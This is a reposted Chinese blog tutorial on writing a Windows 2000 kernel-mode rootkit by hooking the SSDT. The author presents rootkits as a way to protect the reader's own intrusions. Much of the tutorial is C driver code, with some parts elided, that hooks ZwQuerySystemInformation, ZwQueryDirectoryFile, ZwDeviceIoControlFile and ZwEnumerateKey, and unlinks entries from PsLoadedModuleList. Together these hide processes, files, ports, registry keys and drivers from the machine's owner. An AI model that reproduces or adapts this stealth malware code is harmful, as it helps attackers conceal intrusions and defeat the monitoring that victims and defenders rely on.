• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            saga's blog

            突出重點,系統全面,不留死角

              C++博客 :: 首頁 :: 聯系 :: 聚合  :: 管理
              33 Posts :: 2 Stories :: 185 Comments :: 0 Trackbacks

            公告

            QQ:34O859O5

            常用鏈接

            留言簿(15)

            搜索

            •  

            積分與排名

            • 積分 - 210877
            • 排名 - 122

            最新評論

            閱讀排行榜

            評論排行榜

            轉載學習   原始出處不詳了 因該是是邪惡八進制吧  不找了 呵呵

            我們安全愛好者,都接觸過Rootkit,它對我們入侵后的保護提供了強大的支持。現今比較流行的Rootkit有Hxdef,NtRootkit和AFX Rootkit,而且Hxdef和AFX Rootkit還提供了源代碼,對我們的學習提供了很大的方便。這些Rootkit都是使用HOOK技術實現的,欺騙的是用戶,而不是操作系統。使用HOOK開發Rootkit是比較簡單的,雖然現在也有很多其他的技術,但門檻都太高,很多技術都需要硬編碼,對于我等菜鳥,實在是沒有這么高深的技術。而HOOK就不同了,它開發簡單,兼容性好,而且它幾乎是你在編程道路上的一項必學技術,因為太多地方需要HOOK了,使用HOOK開發Rootkit不過是其中的一個應用而已,也是學習HOOK的一項比較好的實踐機會。好了,進入正題,本文涉及的內容雖然不深,但也需要你有Windows編程以及驅動程序設計的基礎。另外,本文的所有內容均在Windows 2000 SP4下測試成功,如無特殊提示,所以內容都是以Windows 2000 SP4、Intel x86為平臺介紹的。


            一、序言


            針對本文開發的Rootkit,我們常常把它稱作Hook System Call、Sysem Service Call或System Service Dispatching,更正規的說法是Hook Windows系統服務調用,它是系統中的一個關鍵接口,提供了系統由用戶態切換到內核態的功能。我們知道,一般處理器可以提供從Ring0到Ring3四種處理器模式,其中必須提供2種,就是Ring0和Ring3。一些特殊的處理器指令只能在內核模式執行,一些高端內存也必須在內核模式下才能訪問(可以通過內存映射的方法解決,請參考其他文章,本文不做介紹)。Windows系統就是利用了這2個處理器模式,將系統的關鍵組件保護起來,只有在內核模式才可以訪問,并提供了一個上層接口,供用戶程序訪問,一切都是在MS的管理之下(悲哀啊!)。下面是Windowx體系結構的簡略圖。


            [-------------------Windowx體系結構---------------------]
            系統進程,服務進程,應用程序,環境子系統
            應用程序編程接口(API)
            基于NTDLL.DLL的本地系統服務
            (用戶模式)
            ---------------------------------------------------------------
            (內核模式)
            系統服務調用(SSDT)
            執行體(Executive)
            系統內核,設備驅動(Kernel)
            硬件抽象層(HAL)


            二、Windows系統服務調用


            1.機制
            Windows 2000的陷阱調度(Trap Dispatching)機制包括了:中斷(Interrupt),延遲過程調用(Deferred Procedure Call),異步過程調用(Asynchronous Procedure Call),異常調度(Exception Dispatching)和系統服務調用(System Service Call)。在Intel x86平臺的Windows 2000使用int 0x2e指令進入Windows系統服務調用;Windows XP使用sysenter指令使系統陷入系統服務調用程序中;而AMD平臺的Windows XP系統使用syscall指令進入Windows系統服務調用。下面是Intel x86平臺的Windows 2000的系統服務調用模型。


            mov eax, ServiceId
            lea edx, ParameterTable
            int 2eh
            ret ParamTableBytes


            其中ServiceId是傳遞給系統服務調用程序的ID號,內核使用這個ID號來查找系統服務調度表(System Service Dispath Table)中的對應系統服務信息。在系統服務調度表中,每一項都包含了一個指向具體的系統服務程序的指針,我們就是需要HOOK這個指針,使其指向我們自定義的代碼(稍后會詳述)。ParameterTable是傳遞的參數,系統服務調用程序KiSystemService函數會嚴格檢查傳遞的每一個參數,并將其參數從線程的用戶內存中復制到系統的內存中,以便內核可以訪問。執行的int指令會導致陷阱發生,所以Windows 2000內的中斷描述表(Interrupt Descriptor Table)中的0x2e指向了系統服務調用程序。最后的ParamTableBytes是返回的參數個數的信息。

            其實,系統服務調用也是一個接口,是面向Windows內核的接口。它實現了將用戶模式下的請求轉發到內核模式下,并引發了處理器模式的切換。在用戶看來,系統服務調用就是與Windows內核通信的一個橋梁。

            2.類型
            在Windows 2000中默認存在兩個系統服務調度表,它們對應了兩類不同的系統服務。這兩個系統服務調度表分別是:KeServiceDescriptorTable和KeServiceDescriptorTableShadow。前者有ntoskrnl.exe導出,后者由Win32k.sys導出。在系統中,有三個DLL是最重要的:Kernel32.dll、User32.dll和Gdi32.dll,這些DLL導出的函數,都是通過某種類型的中斷進入內核態,然后調用ntoskrnl.exe或Win32k.sys中的函數。函數KeAddSystemServiceTable允許Win32.sys和其他設備驅動程序添加系統服務表。除了Win32k.sys服務表外,使用KeAddSystemServiceTable添加的服務表會被同時復制到KeServiceDescriptorTable和KeServiceDescriptorTableShadow中去。

            ●注:由于本文的Rootkit只針對KeServiceDescriptorTable,KeServiceDescriptorTableShadow只會稍微提及一些,不會詳述。●

            另外在提一下,NTDLL.DLL和ntoskrnl.exe的關系很“微妙”,用戶態和內核態的調用也是有分別的,比如:參數檢查。還有Native API導出了2套函數:Zw***和Nt***,要想徹底了解這些內容,推薦看Sunwear寫的《淺析本機API》,我們的論壇原創版有這篇文章http://www.eviloctal.com/forum/index.php

            綜上所述,Kernel32.dll/Advapi32.dll進入NTDLL.DLL后,使用int 0x2e中斷進入內核,最后在ntoskrnl.exe中實現了真正的函數調用;User32.dll和Gdi32.dll則在Win32k.sys中實現了真正的函數調用。


            三、HOOK系統服務


            HOOK系統服務,首先需要定位系統服務調度表,這里需要一個未公開的ntoskrnl.exe導出單元KeServiceDescriptorTable,它對應一個簡單的數據結構,使用它完成對系統服務調度表的修改。


            typedef struct servicetable
            {
            UINT *ServiceTableBase;
            UINT *ServiceCounterTableBase;
            UINT NumberOfService;
            UCHAR *ParamerterTableBase;
            }ServiceDescriptorTableEntry,*PServiceDescriptorTableEntry;


            ServiceTableBase指向系統服務程序的地址,我們需要對它進行HOOK,使這個地址指向我們的代碼。ParamerterTableBase是參數列表的地址,它們都包含了NumberOfService這么多個單元。

            我們先用SoftICE分析一下系統服務調度表。使用ntcall命令可以列出系統中的系統服務調度表,但不同的系統,不同的SP補丁,系統服務調度表肯定是不會相同的,因為MS隨時都會修改此表。Ntcall命令的輸出類似這樣:

            000A 0008:8049860A params=06 NtAdjustPrivilegesToken

            000A是它的序號,8049860A是其地址,params=06表示有6個參數,NtAdjustPrivilegesToken就是函數名了,對應的API是AdjustPrivilegesToken。Win32k.sys導出的系統服務調度表位于KeServiceDescriptorTable+50h處,ServiceID從1000h開始,其結構基本和ntoskrnl.exe一樣。我們具體看一下,由于SoftICE的輸出非常多,這里只節選一小部分。


            :dd KeServiceDescriptorTable l 4*4
            //如果要查看Win32k.sys,則使用dd KeServiceDescriptorTable+50 l 4*4
            0008:8047F7E0 80471128 00000000 000000F8 8047150C ……
            ……

            8047F7E0為KeServiceDescriptorTable的地址,80471128為ServiceTableBase的地址,000000F8為NumberOfService,8047150C為ParamerterTableBase。

            :dd @KeServiceDescriptorTable l byte(@(KeServiceDescriptorTable+08))*4
            0008:80471128 804C3D66 804F7F84 804FADF2 804F7FAE ……
            ……

            80471128地址處為ServiceID=0的系統服務入口地址。在來看一下參數列表。

            :dd @(KeServiceDescriptorTable+0c) l byte(@(KeServiceDescriptorTable+08))
            0008:8047150C 2C2C2018 44402C40 0818180C 100C0404 ……
            :db @(KeServiceDescriptorTable+0c) l byte(@(KeServiceDescriptorTable+08))
            0008:8047150C 18 20 2C 2C 40 2C 40 44 0C 18 18 08 04 04 0C 10 ……


            18 20 2C 2C,這里的18表示參數個數,即18h/4=6。根據上面的分析,我們只要修改ServiceTableBase到ServiceTableBase+NumberOfService*4范圍的數據就可以改變系統服務的執行流程;修改ServiceID就可以改變這一個系統服務的入口地址,我以ZwQuerySystemInformation為例說明一下。


            :u ZwQuerySystemInformation
            ntoskrnl!ZwQuerySystemInformation
            0008:8042F288 MOV EAX, 00000097
            0008:8042F280 LEA EDX, [ESP+04]
            0008:8042F291 INT 2E
            0008:8042F293 RET 0010


            使用ZwQuerySystemInformation的線性地址+1,就可以定位ServiceID,即入口地址,將這個地址指向我們的函數,就大功告成了。首先需要將KeServiceDescriptorTable引入,這樣才能操作系統服務調度表。

            __declspec(dllimport) ServiceDescriptorTableEntry KeServiceDescriptorTable;


            然后定義一個宏,參數是需要HOOK函數的線性地址。

            #define SYSCALL(_Function)
            KeServiceDescriptorTable.ServiceTableBase[*(ULONG *)((UCHAR *)_Function+1)]


            將_Function+1即可確定ServiceID的位置,即在系統服務調度表中的入口地址。有了這個宏,就可以“自由”的將地址指向“任何”位置,我以ZwQuerySystemInformation為例進行演示。首先定義一個typedef函數指針,用于保存原ZwQuerySystemInformation的地址。


            typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION) (
            IN ULONG SystemInformationClass,
            ……);



            聲明ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; 然后定義HOOK函數。


            NTSTATUS NewZwQuerySystemInformation (
            ……);


            最后還差一個線性地址的函數,這個函數需要遵循DDK函數的調用約定,它什么工作都不做,只是幫助我們得到線性地址,進而在系統服務調度表中找到入口地址。


            NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation (
            ……);


            萬事具備,只欠東風。使用SYSCALL宏保存原函數地址,然后指向新函數。


            OldZwQuerySystemInformation=(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation)); //保存原函數地址

            _asm cli

            (ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation))=NewZwQuerySystemInformation; //指向新函數

            _asm sti


            還原的時候只需將OldZwQuerySystemInformation的地址指向ServiceTableBase即可。


            _asm cli
            (ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation))=OldZwQuerySystemInformation; //還原

            _asm sti


            這樣就可以HOOK成功了。其實想想,不過是使用HOOK函數的線性地址確定在系統服務調度表中的入口地址,然后將這個入口地址指向新函數或舊函數,用SoftICE看看HOOK前后的系統服務調度表就明白了。

            下面的內容就是具體開發了,包括隱藏進程,文件/目錄,端口,注冊表,內核模塊,服務/驅動,用戶,需要說一下的是,隱藏服務/驅動,用戶是用戶態的HOOK,在隱藏服務的章節中,我會介紹用戶態的HOOK,其他都是在內核下完成的。


            四、隱藏進程


            我們平常枚舉進程,都是使用HelpTool庫、Psapi庫中的函數,這些函數最終會調用ZwQuerySystemInformation函數,所以只要HOOK這個函數,就可以隱藏進程,使類似任務管理器這樣的工具不會發現隱藏的進程。HOOK的方法前邊已經說過,所以這里只給出HOOK后函數的處理代碼,很好理解。

            首先說說ZwQuerySystemInformation函數,使用它可以查詢詳細的系統信息,信息類型多達54種,我們在用戶態使用的很多查詢系統信息的API,其實最終都是調用的它。在這54種查詢類型中,包含進程信息的有2個,一個是信息類型為5,另一個則為16,前者為系統的進程信息,后者為系統的句柄表,其中包含進程ID。這2個查詢信息的方法是不同的,所以要分別HOOK。下面是ZwQuerySystemInformation函數的原型。

            NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation (
            IN ULONG SystemInformationClass, //獲取的系統信息類別
            IN OUT PVOID SystemInformation, //返回的信息指針
            IN ULONG SystemInforamtionLength, //長度
            OUT PULONG ReturnLength OPTIONAL); //實際的緩沖區大小

            如果SystemInformationClasss為5,那么SystemInformation會返回下面這個結構。

            typedef struct system_porcess
            {
            ULONG NextEntryDelta; //進程偏移
            ULONG ThreadCount; //線程數
            ULONG Reserved1[6]; //保留
            LARGE_INTEGER CreateTime; //進程創建時間
            LARGE_INTEGER KernelTime; //內核占用時間
            LARGE_INTEGER UserTime; //用戶占用時間
            UNICODE_STRING ProcessName; //進程名
            KPRIORITY BasePriority; //優先級
            ULONG ProcessId; //進程ID
            ULONG InheritedProcessId; //父進程ID
            ULONG HandleCount; //句柄數
            ULONG Reserved2[2]; //保留
            VM_COUNTERS VmCounters; //VM信息
            IO_COUNTERS IoCounters; //IO信息
            SYSTEM_THREAD SystemThread[1]; //線程信息
            }SYSTEM_PROCESS,*LPSYSTEM_PROCESS;

            如果SystemInformationClasss為16,則返回下面這個結構。
            typedef struct system_handle_entry
            {
            ULONG ProcessId; //進程ID
            UCHAR ObjectType; //句柄類型
            UCHAR Flags; //標志
            USHORT HandleValue; //句柄的數值
            PVOID ObjectPointer; //句柄所指向的內核對象地址
            ACCESS_MASK GrantedAccess; //訪問權限
            }SYSTEM_HANDLE_ENTRY,*LPSYSTEM_HANDLE_ENTRY;

            typedef struct system_handle_info
            {
            ULONG Count; //系統句柄數
            SYSTEM_HANDLE_ENTRY Handle[1]; //句柄信息
            }SYSTEM_HANDLE_INFORMATION,*LPSYSTEM_HANDLE_INFORMATION;

            對于信息類5,我們需要改變NextEntryDelta結構成員,它是進程列表的偏移地址。比如第一個進程信息在SystemInformation+0處,那么第二個信息就在SystemInformation+第一個NextEntryDelta處,依次類推,最后一個進程信息的NextEntryDelta就為0了。也就是說,如果要隱藏第一個進程,就向前移動緩沖區,移動的長度是第一個進程信息結構的大小;如果要隱藏中間的進程,則多加一個NextEntryDelta,就可以覆蓋掉要隱藏的進程信息結構;如果要隱藏最后一個進程,將NextEntryDelta設置為0就可以了。

            對于信息類16,就沒有什么偏移地址了,而是一個完整的緩沖區,我們要隱藏那個句柄,就向前移動SYSTEM_HANDLE_ENTRY結構的大小,覆蓋掉要隱藏的數據。

            NTSTATUS NewZwQuerySystemInformation (
            IN ULONG SystemInformationClass,
            ……)
            {
            ......
            //請求原函數
            ntStatus=(OldZwQuerySystemInformation)(SystemInformationClass,……);

            //SystemInformationClass==16 枚舉系統句柄表
            if (NT_SUCCESS(ntStatus) && SystemInformationClass==16)
            {
            //指向句柄表緩沖區
            lpSystemHandle=(LPSYSTEM_HANDLE_INFORMATION)SystemInformation;
            Num=lpSystemHandle->Count; //取得系統句柄數

            for (n=0; n<Num; n++)
            {
            //比較句柄表中的進程ID
            if (HIDDEN_SYSTEM_HANDLE==lpSystemHandle->Handle[n].ProcessId)
            {
            //向前移動句柄表緩沖區
            memcpy((lpSystemHandle->Handle+n),(lpSystemHandle->Handle+n+1),
            (Num-n-1) * sizeof (SYSTEM_HANDLE_ENTRY));
            Num--; //總數要--
            n--;
            }
            }
            }

            //SystemInformationClass==5 枚舉系統進程
            if (NT_SUCCESS(ntStatus) && SystemInformationClass==5)
            {
            //指向進程列表緩沖區
            ProcCurr=(LPSYSTEM_PROCESS)SystemInformation;
            while (ProcCurr)
            {
            RtlUnicodeStringToAnsiString(&ProcNameAnsi,&ProcCurr->ProcessName,TRUE);
            if (_strnicmp(HIDDEN_SYSTEM_PROCESS,ProcNameAnsi.Buffer,
            strlen(ProcNameAnsi.Buffer))==0)
            {
            //移動進程偏移NextEntryDelta
            if (ProcPrev)
            {
            if (ProcCurr->NextEntryDelta)
            ProcPrev->NextEntryDelta+=ProcCurr->NextEntryDelta;
            else
            ProcPrev->NextEntryDelta=0;
            }
            else
            {
            if (ProcCurr->NextEntryDelta)
            SystemInformation=(LPSYSTEM_PROCESS)((TCHAR *)
            ProcCurr+ProcCurr->NextEntryDelta);
            else
            SystemInformation=NULL;
            }
            }

            ProcPrev=ProcCurr;
            //下一進程
            if (ProcCurr->NextEntryDelta)
            ProcCurr=(LPSYSTEM_PROCESS)((TCHAR *)
            ProcCurr+ProcCurr->NextEntryDelta);
            else
            ProcCurr=NULL;
            }
            }

            ……
            return ntStatus;
            }

            HIDDEN_SYSTEM_HANDLE和HIDDEN_SYSTEM_PROCESS是2個宏,分別為隱藏的進程ID和進程名。下面介紹隱藏文件/目錄。


            五、隱藏文件/目錄


            枚舉文件使用ZwQueryDirectoryFile函數,其原型如下:

            NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile (
            IN HANDLE hFile,
            IN HANDLE hEvent OPTIONAL,
            IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
            IN PVOID IoApcContext OPTIONAL,
            OUT PIO_STATUS_BLOCK pIoStatusBlock,
            OUT PVOID FileInformationBuffer,
            IN ULONG FileInformationBufferLength,
            IN FILE_INFORMATION_CLASS FileInfoClass,
            IN BOOLEAN ReturnOnlyOneEntry,
            IN PUNICODE_STRING FileName OPTIONAL,
            IN BOOLEAN RestartQuery);

            hFile為文件句柄,由ZwCrateFile或ZwOpenFile獲得,FileInfoClass是一個不斷變化的枚舉類型,但只有4個同文件/目錄有關。FileInformationBuffer是返回的信息指針。我們要隱藏文件/目錄,就要處理這4個不同的枚舉類型,它們的數值分別是:1、2、3和12,分別對應4個不同的結構,由于結構內容比較長,所以只介紹信息類為12的內容,其他可以在光盤中的FileInfo.txt中找到。信息類為12返回的結果如下:

            typedef struct file_name_info {
            ULONG NextEntryOffset; //文件偏移
            ULONG Unknown; //下一文件索引
            ULONG FileNameLength; //文件長度
            WCHAR FileName[1]; //文件名
            }FILE_NAMES_INFORMATION,*LPFILE_NAMES_INFORMATION;

            隱藏文件/目錄的方法和隱藏進程基本上一樣,如果沒有文件/目錄被找到,應該返回0x80000006。

            NTSTATUS NewZwQueryDirectoryFile (
            IN HANDLE hFile,
            ……)
            {
            ......
            //請求原函數
            ntStatus=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (hFile,……);

            if (NT_SUCCESS(ntStatus) && FileInfoClass==12)
            {
            //指向文件列表緩沖區
            FileCurr=(LPFILE_NAMES_INFORMATION)FileInformationBuffer;
            do {
            LastOne=!(FileCurr->NextEntryOffset); //取偏移
            FileNameLength=FileCurr->FileNameLength; //取長度
            RtlInitUnicodeString(&FileNameWide,FileCurr->FileName);
            RtlUnicodeStringToAnsiString(&FileNameAnsi,&FileNameWide,TRUE);
            if (_strnicmp(HIDDEN_SYSTEM_FILE,FileNameAnsi.Buffer,
            (FileNameLength / 2))==0)
            {
            //最后一個文件
            if (LastOne)
            {
            if (FileCurr==(LPFILE_NAMES_INFORMATION)
            FileInformationBuffer)
            ntStatus=0x80000006; //隱藏
            else
            FilePrev->NextEntryOffset=0;
            }
            else
            {
            //移動文件偏移
            Pos=((ULONG)FileCurr)-((ULONG)FileInformationBuffer);
            Left=(DWORD)FileInformationBufferLength-Pos-
            FileCurr->NextEntryOffset;
            RtlCopyMemory((PVOID)FileCurr,(PVOID)((char *)
            FileCurr+FileCurr->NextEntryOffset),(DWORD)Left);
            continue;
            }
            }

            //下一文件
            FilePrev=FileCurr;
            FileCurr=(LPFILE_NAMES_INFORMATION)((char *)
            FileCurr+FileCurr->NextEntryOffset);
            }while (!LastOne);
            }

            ……
            return ntStatus;
            }

            HIDDEN_SYSTEM_FILE同樣是宏,另外,文件長度是以Unicode統計的,一個字符占16位,而比較語句是以ANSI比較的,一個字符占8位,所以_strnicmp函數最后的比較大小是FileNameLength / 2,如果以Unicode比較,就不必除以2了。在來看看隱藏端口。


            六、隱藏端口


            枚舉端口使用iphlpapi.dll中的函數,而它們最終調用的是ZwDeviceIoControlFile函數,使用它發送一個特定的IRP獲取端口列表,所以只要HOOK了ZwDeviceIoControlFile函數,就可以隱藏端口。函數原型如下:

            NTSYSAPI NTSTATUS NTAPI ZwDeviceIoControlFile (
            IN HANDLE FileHandle,
            IN HANDLE Event OPTIONAL,
            IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
            IN PVOID ApcContext,
            OUT PIO_STATUS_BLOCK IoStatusBlock,
            IN ULONG IoControlCode,
            IN PVOID InputBuffer OPTIONAL,
            IN ULONG InputBufferLength,
            OUT PVOID OutputBuffer OPTIONAL,
            IN ULONG OutputBufferLength);

            FileHandle為通信設備的句柄,可以使用ZwQueryObject函數獲得其具體信息,對于端口設備的,它的名字總是\Device\Tcp或\Device\Udp;IoControlCode為特定的I/O控制代碼,表示要查詢的信息。InputBuffer和OutputBuffer分別為輸入輸出緩沖。

            查詢端口的I/O控制代碼有2個,分別為:0x210012和0x120003,它們所返回的結構、分辨TCP/UDP端口都是不同的,需要分別對待。在我的Windows 2000 SP4下,Netstat使用0x120003,而Fport卻使用0x210012。對于0x120003,返回的結構如下:

            typedef struct tcpaddrentry //TCP
            {
            ULONG TcpState; //狀態
            ULONG TcpLocalAddr; //本地地址
            ULONG TcpLocalPort; //本地端口
            ULONG TcpRemoteAddr; //遠程地址
            ULONG TcpRemotePort; //遠程端口
            }TCPADDRENTRY,*LPTCPADDRENTRY;

            typedef struct udpaddrentry //UDP
            {
            ULONG UdpLocalAddr; //UDP只有本地地址
            ULONG UdpLocalPort; //端口
            }UDPADDRENTRY,*LPUDPADDRENTRY;

            很熟悉吧,這正是iphlpapi.dll中的函數返回的結構。對于這2個結構,還可以擴展,則會增加一個進程ID,不過只適用XP/2003,結構就不帖了,可以在RootkitMain.h中查找到。使用這個I/O控制代碼進行端口查詢,FileHandle的名字總是\Device\Tcp,所以區別TCP和UDP的方法是檢查InputBuffer,包括判斷是否為擴展結構。

            對于TCP查詢,輸入緩沖的特征是InputBuffer[0]為0x00,如果OutputBuffer中已經有了端口數據,則InputBuffer[17]為0x01,如果是擴展結構,則InputBuffer[16]為0x02。對于UDP查詢,InputBuffer[0]就為0x01了,InputBuffer[16]和InputBuffer[17]的值和TCP查詢是一樣的。我們使用這3個值來區分TCP/UDP端口和是否為擴展結構,OutputBuffer返回的是完整的端口列表緩沖區,使用IoStatusBlock取得端口的數量,隱藏某個端口,就向前移動緩沖區。對于0x210012,返回的結構如下:

            typedef struct tdiconnectinfo
            {
            ULONG State;
            ULONG Event;
            ULONG TransmittedTsdus;
            ULONG ReceivedTsdus;
            ULONG TransmissionErrors;
            ULONG ReceiveErrors;
            LARGE_INTEGER Throughput;
            LARGE_INTEGER Delay;
            ULONG SendBufferSize;
            ULONG ReceiveBufferSize;
            BOOLEAN Unreliable;
            }TDI_CONNECTION_INFO,*LPTDI_CONNECTION_INFO;

            使用這個I/O控制代碼進行端口查詢,FileHandle的名字是\Device\Tcp或\Device\Udp,所以分別TCP或UDP不需要輸入緩沖,而是使用ZwQueryObject函數獲取句柄的名字。OutputBuffer返回的是單獨的緩沖區,也就是說,一個端口返回一個,隱藏某個端口,就將返回值設置為STATUS_INVALID_ADDRESS即可。

            NTSTATUS NewZwDeviceIoControlFile (
            IN HANDLE FileHandle,
            ......)
            {
            ......
            //請求原函數
            ntStatus=((ZWDEVICEIOCONTROLFILE)(OldZwDeviceIoControlFile))(FileHandle,……);

            if ((NT_SUCCESS(ntStatus)) && (IoControlCode==0x210012))
            {
            //查詢句柄名稱 以便確定是TCP還是UDP
            if (NT_SUCCESS(ZwQueryObject(FileHandle,
            OBJECT_NAME_INFORMATION_CLASS,ObjectName,512,&RetLen)))
            {
            //指向端口列表緩沖區
            lpTdiConnInfo=(LPTDI_CONNECTION_INFO)OutputBuffer;
            RtlUnicodeStringToAnsiString(&ObjectNameAnsi,&ObjectName->Name,TRUE);

            //TCP端口
            if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,
            strlen(TCP_PORT_DEVICE))==0)
            {
            if (ntohs(lpTdiConnInfo->ReceivedTsdus)==HIDDEN_SYSTEM_PORT)
            ntStatus=STATUS_INVALID_ADDRESS; //隱藏
            }

            //UDP端口
            if (_strnicmp(ObjectNameAnsi.Buffer,UDP_PORT_DEVICE,
            strlen(UDP_PORT_DEVICE))==0)
            {
            if (ntohs(lpTdiConnInfo->ReceivedTsdus)==HIDDEN_SYSTEM_PORT)
            ntStatus=STATUS_INVALID_ADDRESS; //隱藏
            }
            }
            }

            if ((NT_SUCCESS(ntStatus)) && (IoControlCode==0x120003))
            {
            if (NT_SUCCESS(ZwQueryObject(FileHandle,
            OBJECT_NAME_INFORMATION_CLASS,ObjectName,512,&RetLen)))
            {
            RtlUnicodeStringToAnsiString(&ObjectNameAnsi,&ObjectName->Name,TRUE);
            if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,
            strlen(TCP_PORT_DEVICE))==0)
            {
            if (((InBuf=(LPBYTE)InputBuffer)==NULL) || (InputBufferLength<17))
            //錯誤處理

            if ((InBuf[0]==0x00) && (InBuf[17]==0x01)) //TCP端口
            {
            if (InBuf[16]!=0x02) //非擴展結構
            {
            //獲取端口個數
            Num=IoStatusBlock->Information / sizeof (TCPADDRENTRY);
            lpTcpAddrEntry=(LPTCPADDRENTRY)OutputBuffer;

            for (n=0; n<Num; n++)
            {
            if (ntohs(lpTcpAddrEntry[n].TcpLocalPort)==
            HIDDEN_SYSTEM_PORT)
            {

            //向前移動端口列表緩沖區
            memcpy((lpTcpAddrEntry+n),(lpTcpAddrEntry+n+1),
            ((Num-n-1) * sizeof (TCPADDRENTRY)));
            Num--; //總數--
            n--;
            break;
            }
            }

            //隱藏后端口總數
            IoStatusBlock->Information=Num * sizeof (TCPADDRENTRY);
            ......
            }
            }
            ……
            }
            }
            }

            return ntStatus;
            }

            0x120003查詢的UDP和處理擴展結構的代碼就不帖了,和處理TCP一樣,無非就是結構不同,隱藏都是memcpy移動緩沖。還有必須檢查InBuf[17]是否為0x01,否則指向的OutputBuffer就是NULL指針了。下面的內容是隱藏注冊表。


            七、隱藏注冊表


            枚舉注冊表鍵和鍵值使用的Native API是ZwEnumerateKey和ZwEnumerateValueKey函數,它們所做的工作基本一樣,都是使用索引獲取鍵/鍵值,并返回一個緩沖區指針。ZwEnumerateKey函數原型如下,ZwEnumerateValueKey函數和它幾乎一樣,就不帖出來了。

            NTSYSAPI NTSTATUS NTAPI ZwEnumerateKey (
            IN HANDLE KeyHandle, //句柄
            IN ULONG Index, //請求的索引
            IN KEY_INFORMATION_CLASS KeyInformationClass, //獲取的信息類型
            OUT PVOID KeyInformation, //返回的緩沖區指針
            IN ULONG Length, //長度
            OUT PULONG ResultLength); //實際長度

            DDK中公開了若干注冊表函數,所以這2個函數的結構,枚舉類型都已經定義好了,直接使用就可以了。KeyInformationClass一共4個值,可喜的是我們不必逐個處理,統一處理就可以了,因為只需要注冊表鍵/鍵值名和其長度,而返回的這4個結構中都包含這2個結構成員,所以才可以統一處理。這里我們使用KEY_BASIC_INFORMATION結構。

            typedef struct _KEY_BASIC_INFORMATION {
            LARGE_INTEGER LastWriteTime;
            ULONG TitleIndex;
            ULONG NameLength;
            WCHAR Name[1];
            }KEY_BASIC_INFORMATION,*PKEY_BASIC_INFORMATION;

            這里我們需要的東西是Name和它的長度NameLength。而對于ZwEnumerateValueKey函數,我們使用KEY_VALUE_BASIC_INFORMATION結構(和KEY_BASIC_INFORMATION幾乎一樣,所以請查詢DDK Documentation文檔)。

            枚舉注冊表鍵/鍵值,是通過索引獲取的,這樣的話,我們隱藏了一個注冊表鍵/鍵值,那其后的所有索引都需要改變。這里就需要有一個標界,理所當然是利用KeyHandle的值,不同子鍵的句柄值是不同的。舉個例子,例如隱藏了KeyHandle為1下的某一個注冊表鍵,那么其后KeyHandle為1下的所有索引(注冊表鍵)都需要+1,而不是KeyHandle為1的就不需要加了。具體看一下代碼,這里仍以ZwEnumerateKey函數為例。

            NTSTATUS NewZwEnumerateKey (
            IN HANDLE KeyHandle,
            ......)
            {
            ......
            static HANDLE RegHandle=NULL;
            static LONG RegIndex=0;

            if (RegHandle==KeyHandle) //同一句柄
            Index+=RegIndex; //加上隱藏的注冊表鍵個數
            else
            {
            RegIndex=0; //否則重新賦值為0
            RegHandle=NULL;
            }

            //請求原函數
            ntStatus=((ZWENUMERATEKEY)(OldZwEnumerateKey)) (KeyHandle,……);

            if (NT_SUCCESS(ntStatus))
            {
            //指向注冊表鍵緩沖區
            lpKeyBasic=(KEY_BASIC_INFORMATION *)KeyInformation);
            RtlInitUnicodeString(&RegsNameWide,lpKeyBasic->Name);
            RtlUnicodeStringToAnsiString(&RegsNameAnsi,&RegsNameWide,TRUE);

            if (_strnicmp(HIDDEN_SYSTEM_KEY,RegsNameAnsi.Buffer,
            (lpKeyBasic->NameLength / 2))==0)
            {
            RegHandle=KeyHandle; //取句柄值
            RegIndex++; //隱藏個數
            Index++; //索引加1

            //再次請求 跳過隱藏的注冊表鍵
            ntStatus=((ZWENUMERATEKEY)(OldZwEnumerateKey)) (KeyHandle,……);
            }
            }

            ……
            return ntStatus;
            }

            使用這種方法隱藏注冊表鍵/鍵值,發現有時不同子鍵的KeyHandle值也是相同的,這就造成了多隱藏數據。解決的辦法是HOOK了ZwOpenKey函數,使用ZwOpenKey函數的KeyHandle枚舉鍵/鍵值(使用ZwEnumerateKey和ZwEnumerateValueKey函數),并記錄下需要隱藏的索引,然后在ZwEnumerateKey或ZwEnumerateValueKey函數中Index參數進行比較,如果相等,就隱藏了(索引+1即可),這樣上面的問題就可以解決了。如果想要做的更隱蔽,像ZwQueryKey、ZwDeleteKey等函數都需要HOOK,我這里只是演示程序,沒寫這么詳細,這些內容就留給各位讀者自己實踐了(嘿嘿,這叫偷懶)。


            八、隱藏內核模塊


            所謂內核模塊,就是內核加載的驅動信息,DDK中的Drivers.exe可以枚舉出系統的內核模塊列表,它最終調用的是ZwQuerySystemInformation函數,信息類為11,表示獲取系統的內核模塊。如果要隱藏某個內核模塊,就像上邊介紹隱藏系統句柄一樣,memcpy移動緩沖區,所以這里介紹另一種隱藏方法:從PsLoadedModuleList鏈上摘除內核模塊。PsLoadedModuleList是系統中一個未公開的內核變量(LIST_ENTRY鏈表),保存著系統的內核模塊。使用這種方法隱藏的關鍵是找到PsLoadedModuleList的地址,好在前人已經給出了方法,用驅動程序對象+14h即可定位PsLoadedModuleList。我們首先需要定義一個結構(這個結構雖然不是完整的,但我可以保證它正常工作)。GetPsLoadedModuleList函數查找PsLoadedModuleList的地址,HideAmlName函數隱藏內核模塊,代碼如下:

            typedef struct moduleentry
            {
            LIST_ENTRY ListEntry;
            DWORD Unknown[4];
            DWORD Base;
            DWORD DriverStart;
            DWORD Unknown1;
            UNICODE_STRING DriverPath;
            UNICODE_STRING DriverName;
            }MODULE_ENTRY,*LPMODULE_ENTRY;

